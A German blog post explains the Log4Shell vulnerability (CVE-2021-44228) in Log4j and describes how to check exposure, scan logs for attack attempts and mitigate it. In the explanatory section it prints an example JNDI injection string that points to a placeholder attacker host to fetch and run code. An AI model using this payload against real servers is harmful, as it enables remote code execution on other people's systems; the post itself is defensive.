Log4Shell ist eine Sicherheitslücke im Java Modul Log4j. In der CVE Datenbank trägt sie den Namen CVE-2021-44228. Diese Lücke bewirkt, dass während des Loggingprozesses, also beim Erstellen von Logdateien, Teile der zu loggenden Daten ausgeführt werden können.

Aufgrund der weiten Verbreitung von Java, der Gefährlichkeit und der einfachen Umsetzung eines Angriffs wurde diese Sicherheitslücke vom BSI mit der Warnstufe Rot gekennzeichnet.

In diesem Beitrag zeige ich dir ein paar Tricks & Tipps, wie du erkennen kannst, ob du erstens betroffen bist, zweitens, ob du angegriffen wurdest und drittens wie du dich vor zukünftigen Log4Shell Angriffen schützen kannst.

Was ist Log4Shell?

Log4j loggt bei Webservern in der Regel auch die Headerdaten von Requests. So kann ein Angreifer mithilfe dieser Schwachstelle Schadcode auf einem Webserver ausführen, der dieses Modul nutzt. Das passiert, indem er einen Link zum Schadcode mit einer speziellen Zeichenfolge im Header mitgibt. Log4Shell versucht diesen Link aufzulösen und den darin enthaltenen Code auszuführen. Dadurch kann sich der Angreifer eine Shell auf dem Server öffnen. Diese Shell läuft dann über den User, der auch Log4j ausführt. In der Regel ist das der Webserveruser.

Beispielsweise könnte die folgende Zeichenfolge in den Headerdaten zu einem erfolgreichen Angriff führen:

"${jndi:ldap://URL_DES_ANGREIFERS/a}"

Diese Zeichen lassen Log4j die URL aufrufen und den dortigen Code ausführen. Somit ist die Voraussetzung einer Remote-Code-Execution geschaffen.

Laut dem BSI kann diese Schwachstelle auch noch Wochen und Monate nach Schließung zu einem Problem werden, wenn eine unentdeckte Infektion stattfand. Daher solltest du deine Logs durchgehen und gucken, ob es Angriffsversuche gab, sofern du betroffen bist. Wie das geht, ist im Kapital “Wie erkenne ich, ob ich mit Log4Shell gehackt wurde?” beschrieben.

Laut dem Cloud-Security-Team von Alibaba wurde diese Sicherheitslücke am 24. November 2021 zum ersten Mal privat gemeldet und schließlich am 9. Dezember 2021 öffentlich gemacht. Ob sie davor schon genutzt wurde, ist nicht bekannt, allerdings existiert sie bereits seit 2013. Da Java eine der meistgenutzten Programmiersprachen der Welt ist, kannst du davon ausgehen, dass mehrere Millionen Geräte betroffen sind.

Wie erkenne ich, ob ich von Log4Shell betroffen bin?

Grundsätzlich ist jede Log4j Version zwischen 2.0-beta und 2.16.0 betroffen. Falls du nicht genau weißt, welche Version deine Programme verwenden kannst du den Vulnerability scanner von Logpresso verwenden.

Dieser Scanner guckt sich alle Dateien in einem Pfad an und prüft alle Dateien mit einer Java Dateiendung wie etwa .jar Dateien. Anschließend siehst du eine Liste von allen Javaprogrammen, die eine betroffene Version von Log4j enthalten.

So installierst du ihn unter Linux:

wget https://github.com/logpresso/CVE-2021-44228-Scanner/releases/download/v2.3.2/logpresso-log4j2-scan-2.3.2-linux.tar.gz
tar xvf logpresso-log4j2-scan-2.3.2-linux.tar.gz

Um jetzt noch deinen kompletten Ordnerbaum zu scannen, kannst es einfach mit einem / als Parameter ausführen.

./log4j2-scan /

Je nach Festplattengröße kann der Scan mehrere Sekunden bis sogar Stunden dauern.

Wie erkenne ich, ob ich mit Log4Shell gehackt wurde?

Leider gibt es keine hundert prozentige Möglichkeit, um eine Infektion auszuschließen. Aber neben herkömmlichen Methoden wie Antivirensoftware kannst du auch versuchen deine Logdateien zu überprüfen. Falls es Angriffsversuche gab, müssten diese nämlich von Log4j geloggt geworden sein.

Der Entwickler Neo230x (Cyb3rops) hat ein Pythontool entwickelt, welches Logdateien durchlesen und nach Angriffsversuchen scannen kann. Dieses Tool kann sogar unterschiedliche Codeverschleierungen erkennen, indem auch nach dynamischen Zeichenpositionen gesucht wird.

git clone https://github.com/Neo23x0/log4shell-detector.git
cd log4shell-detector/
python log4shell-detector.py -p DATEIPFAD_ZU_DEN_LOGS

Um es auszuführen brauchst du natürlich Python.

Du solltest im Hinterkopf behalten, dass der Angreifer seine Spuren auch verwischen kann, wenn er Zugriff auf die Logs hat.

Wie schütze ich mich vor Log4Shell?

Letztendlich müssen wir noch klären, wie man einer Infektion vorbeugt. Dazu drei Punkte:

  1. Der theoretisch sicherste Weg wäre auf Javasoftware zu verzichten. Praktisch ist das natürlich keine Option. 2) Versuche die Log4j Version der betroffenen Tools auf 2.16. oder besser 2.17. zu updaten. Idealerweise hältst du deine Software immer auf den neusten Stand. Leider ist das bei Programmen, die du nicht selbst programmiert hast, nicht immer möglich. 3) Ist auch das nicht möglich hast du noch eine dritte Möglichkeit. Du kannst die Log4j2-format-msg Lookups für deine Java Programme komplett deaktivieren. Das funktioniert mit dem Java Parameter formatMsgNoLookups. Dazu funktioniert über mehrere Wege. Zum Beispiel über die Java Settings oder als Java Parameter.


Konnte ich helfen? Ich freue mich über einen Drink! 💙